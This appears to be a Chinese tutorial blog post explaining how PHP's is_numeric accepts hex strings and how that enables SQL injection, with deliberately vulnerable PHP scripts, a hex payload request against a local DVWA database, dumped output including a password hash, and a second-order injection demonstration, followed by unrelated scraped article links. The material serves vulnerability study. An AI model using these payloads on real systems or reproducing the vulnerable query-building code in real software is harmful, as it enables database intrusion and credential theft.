2014年,PHP中is_numeric函数十六进制绕过漏洞引发了一次安全问题

接下来,我们来分析一下这个漏洞的原理

函数介绍:

is_numeric — 检测变量是否为数字或数字字符串。

函数原型:

bool is_numeric ( mixed $var )

如果 var 是数字或数字字符串则返回 TRUE,否则返回 FALSE。

举例说明:

例程1:

<?php

$v = is_numeric ('58635272821786587286382824657568871098287278276543219876543') ? true : false;

var_dump ($v);

?>

运行输出:bool(true)

说明:这个参数是数字或数字字符串

变换参数继续测试

如果参数是:0xFFFF,运行结果又会怎样呢?

<?php

$v = is_numeric ('0xFFFF') ? true : false;

var_dump ($v);

?>

输出结果:bool(true)

说明他已经把0x这种十六进制的数忽略了,或者转换成了其他进制的数(注:其他进制的数都是数字或数字字符串,唯有十六进制有个x不是数字,八进制的表示是以0开始的,而非o),不信的话可以自己算算:

所以,这个地方,is_numeric函数的参数是十六进制的,也可以完美执行。

在渗透测试的时候,如果我们提交:1 or 1作为该函数参数的一部分,那么这个函数肯定是不会接受的,为什么,因为他不是数字或数字字符串,就这么简单,如果,我们将1 or 1转换成十六进制呢?

1 or 1 对应的十六进制数为:0x31206f722031

怎么转换来的,可以百度下:ASCII码表

1:0x31

:0x20

o:0x6f

r:0x72

合理连接起来不就是0x31206f722031了吗

在这里,推荐小葵写的一个编码与解码的小工具:

在此,我们可以测试一下,看0x31206f722031是不是数字或数字字符串

<?php

$v = is_numeric ('0x31206f722031') ? true : false;

var_dump ($v);

?>

输出结果:bool(true)

说明:0x31206f722031是数字或数字字符串。

那又怎样,此时,我们就可以通过这个函数实现SQL注入了

注入测试代码1:

<?php

$conn = mysql_connect('127.0.0.1','root','root');

mysql_select_db('dvwa',$conn);

$user = addslashes($_GET['user']);

$flag = is_numeric ($user) ? true : false;

if($flag)

{

$sql = "SELECT user_id,user,password FROM users WHERE user=$user";

$res = mysql_query($sql);

if($res)

{

while($row = mysql_fetch_array($res))

{

var_dump($row);

}

}

else

{

echo '----------数据库没有符合此条件的用户记录----------';

echo '<br />';

}

}

else

{

var_dump ($flag);

}

?>

Firefox输入:http://localhost:81/is_numeric.php?user=0x61646D696E

0x61646D696E 对应的ASCII字符就是:admin

运行结果:

array(6) { [0]=> string(1) "1" ["user_id"]=> string(1) "1" [1]=> string(5) "admin" ["user"]=> string(5) "admin" [2]=> string(32) "5f4dcc3b5aa765d61d8327deb882cf99" ["password"]=> string(32) "5f4dcc3b5aa765d61d8327deb882cf99" }

这还不算啥,接下来,我们来看一下关于这个漏洞的二次注入

注入测试代码2(二次注入):

<?php

$conn = mysql_connect('127.0.0.1','root','root');

mysql_select_db('dvwa',$conn);

$user = addslashes($_GET['user']);

$flag = is_numeric ($user) ? true : false;

if($flag)

{

//保存最大user_id

$max_id;

//保存导出的playload

$playload;

//查出数据库中最大的user_id

$query_max_id = "select max(user_id) from users";

$res = mysql_query($query_max_id);

if($res)

{

$rows = mysql_fetch_array($res);

$max_id = $rows['user_id'];

//echo $max_id;

echo '----------max_id查询成功----------';

}

else

{

echo '----------max_id查询失败----------';

}

//更新最大user_id行的用户名

$gx = "update users set user=$user where user_id=$max_id";

$res = mysql_query($gx);

if($res)

{

echo '----------用户数据更新成功----------';

echo '----------插入十六进制成功----------';

}

else

{

echo '----------用户数据更新失败----------';

echo '----------插入十六进制未成功----------';

}

//导出插入的playload

$playload = "SELECT user FROM users WHERE user_id=$max_id";

$res = mysql_query($playload);

if($res)

{

$rows = mysql_fetch_array($res);

$playload = $rows['user'];

echo '----------playload成功导出----------';

}

else

{

echo '----------playload导出失败----------';

}

//将导出的playload拼接到select语句中执行

$play = "SELECT user_id,user,password FROM users WHERE user=$playload";

$res = mysql_query($play);

if($res)

{

$row = mysql_fetch_array($res);

var_dump($row);

echo '----------注入已成功----------';

}

else

{

echo '----------注入未成功----------';

}

}

else

{

echo '----------输入数据不是数字或者数字字符串----------';

}

?>

这段代码实现对max(user_id)行的用户名实现十六进制playload的写入,然后,通过select语句又将写入的十六进制playload查询出来,从而实现了二次注入。

is_numeric漏洞分析的更多相关文章

  1. YxCMS 1.4.7 最新版漏洞分析

    i春秋作家:F0rmat 原文来自:YxCMS 1.4.7 最新版漏洞分析 0x01前言 很感谢关注我专辑的表哥,我会坚持写下去的,最近会慢一点,一月四篇是正常的. 在先知看到的,大部分都是后台漏洞, ...

  2. 「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

    这几天有小伙伴留言给我们,想看一些关于后台的漏洞分析,今天i春秋选择YxCMS 1.4.7版本,理论内容结合实际案例进行深度分析,帮助大家提升挖洞技能. 注:篇幅较长,阅读用时约7分钟. YXcms是 ...

  3. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  4. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  5. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

  6. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  7. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  8. CVE-2014-4115漏洞分析(2014.11)

    CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...

  9. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

随机推荐

  1. Web应用的组件化(一)

    基本思路 1. 为什么要做组件化? 无论前端也好,后端也好,都是整个软件体系的一部分.软件产品也是产品,它的研发过程也必然是有其目的.绝大多数软件产品是追逐利润的,在产品目标确定的情况下,成本有两个途 ...

  2. Android使用开源框架加载图片

    Android开发时,有时候需要们来加载网络图片,我们可以通过api的方式进行加载,但是前几天做的时候,发现了一个优秀的开源框架,可以帮助我们非常简单便捷的进行图片的加载,所以记录一下. 我所用的是: ...

  3. 【UVA 11383】 Golden Tiger Claw (KM算法副产物)

    Omi, Raymondo, Clay and Kimiko are on new adventure- in search of new Shen Gong Wu. But EvilBoy Geni ...

  4. OSS研究

    在以前没有毕业之前,做过了一个了播放器,其实就是mplayer的二次开发. 如果在这个播放器之上,加个oss作声音输入,那不就可以做个卡拉OK啦? 1.OSS的定义 OSS(Open Sound Sy ...

  5. WCF Concurrency (Single, Multiple, and Reentrant) and Throttling

    http://www.codeproject.com/Articles/89858/WCF-Concurrency-Single-Multiple-and-Reentrant-and Introduc ...

  6. POJ_2104_Kth_(主席树)

    描述 http://poj.org/problem?id=2104 给出一个n个数的数列,m次询问,每次询问求区间[l,r]中第k小的数,无修改操作. K-th Number Time Limit: ...

  7. 阮老师讲解TF-IDF算法

    TF-IDF与余弦相似性的应用(一):自动提取关键词   作者: 阮一峰 日期: 2013年3月15日 这个标题看上去好像很复杂,其实我要谈的是一个很简单的问题. 有一篇很长的文章,我要用计算机提取它 ...

  8. Linux无线网络设置(wpa_supplicant的使用)

    主机环境:Gentoo Linux 3.1.10 WPA Supplicant工具包可以让您连接到那些使用WPA的AP.因为还只是beta版,所以它的配置方法仍会常常变化——尽管如此,在大部分情况下它 ...

  9. JavaScript高级程序设计26.pdf

    DOM操作技术 动态脚本 指得是页面加载时不存在,但将来的某一时刻通过修改DOM动态添加的脚本,跟操作HTML元素一样,创建动态脚本也有2种方式:插入外部文件和直接插入JavaScript代码 var ...

  10. ARC __bridge modifiers demystified

    http://stackoverflow.com/questions/14207960/arc-bridge-modifiers-demystified Because I learned what ...